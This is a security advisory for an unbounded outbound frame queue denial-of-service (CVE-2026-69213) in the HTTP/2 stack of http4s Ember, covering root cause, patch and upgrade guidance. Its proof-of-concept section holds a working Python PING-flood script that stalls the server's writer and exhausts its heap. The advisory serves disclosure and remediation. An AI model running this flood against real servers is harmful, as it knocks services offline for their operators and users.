CVE-2026-69213: http4s Ember HTTP/2 Unbounded Outbound Frame Queue DoS
A single unauthenticated HTTP/2 connection can exhaust the server's heap by flooding it with tiny control frames (PINGs, SETTINGS) faster than the server can write ACKs out, because the internal…

The problem
Ember's HTTP/2 implementation serializes all outgoing frames through a single unbounded queue drained by one writer fiber (H2Connection.writeLoop). Every inbound control frame triggers a mandatory ACK the server cannot suppress: one PING ACK per PING, one SETTINGS ACK per SETTINGS, one WINDOW_UPDATE per DATA frame.
If the attacker stops reading from the TCP socket, the writer fiber stalls but the read loop keeps enqueuing ACKs. With no capacity limit on the queue, heap grows without bound until the JVM OOMs. A single unauthenticated connection is enough. Both ember servers (.withHttp2) and ember clients talking to a hostile server are affected.
Proof of concept
A working proof-of-concept for CVE-2026-69213 in org.http4s:http4s-ember-core_2.12, with the exact payload below.
# Minimal PING-flood PoC (Python 3, raw sockets over cleartext h2c)
# Sends HTTP/2 PREFACEthen floods PING frames; never reads, so writer stalls and ACKs accumulate in the unbounded queue.
import socket, struct, time
HOST, PORT = "target", 8080
# HTTP/2 client preface
PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
# HTTP/2 frame header: length=8, type=0x6 (PING), flags=0x0, stream_id=0
def ping_frame(opaque: bytes = b"\x00" * 8) -> bytes:
return struct.pack(">I", 8)[1:] + b"\x06\x00" + struct.pack(">I", 0) + opaque
# Initial SETTINGS frame (empty, length=0)
SETTINGS = struct.pack(">I", 0)[1:] + b"\x04\x00" + struct.pack(">I", 0)
s = socket.create_connection((HOST, PORT))
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
# Shrink our receive buffer so the kernel drops ACKs, stalling the remote writer
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1)
s.sendall(PREFACE + SETTINGS)
time.sleep(0.1) # let server send its SETTINGS
ping = ping_frame()
try:
while True:
# Send 1000 PINGs per burst; server must ACK each one
s.sendall(ping * 1000)
except BrokenPipeError:
pass
print("Done - check server heap / OOM killer")The root cause is CWE-400 / CWE-770: the writeLoop in H2Connection.scala used an unbounded Cats Effect Queue with no capacity argument, so offer never blocks or fails regardless of how many frames pile up.
Every inbound PING forces the server to enqueue a PING ACK it cannot defer or drop (required by RFC 9113). Closing the TCP receive window stalls the writer fiber without stalling the reader, so queue depth grows proportionally to the number of PINGs sent. With 17 bytes in, 17 bytes (plus a heap object) are queued, giving near-zero attacker cost per byte of heap consumed.
The patch at commit 13fe24d6440bde2f1eb70121486cf59c278e6bae replaces the unbounded Queue with a bounded queue (or fs2 Channel with a capacity cap), so that when the write side stalls the connection is aborted rather than accumulating frames indefinitely.
The fix
Upgrade to org.http4s:http4s-ember-core_2.12:0.23.35 (or 1.0.0-M47 on the 1.x series). If upgrading immediately is not possible, disable HTTP/2 by removing .withHttp2 from your server/client builder configuration.
Related research
- high · 7.5CVE-2026-69202CVE-2026-69202: http4s Ember HTTP/2 Unbounded Inbound Body Buffering DoS
- high · 7.5CVE-2026-69203CVE-2026-69203: http4s Ember HTTP/2 Unbounded Stream Allocation DoS
- high · 7.5CVE-2026-69218CVE-2026-69218: http4s Ember HTTP/2 Unbounded CONTINUATION Frame Memory Exhaustion
- criticalCVE-2026-69204CVE-2026-69204: http4s Ember CL.TE HTTP Request Smuggling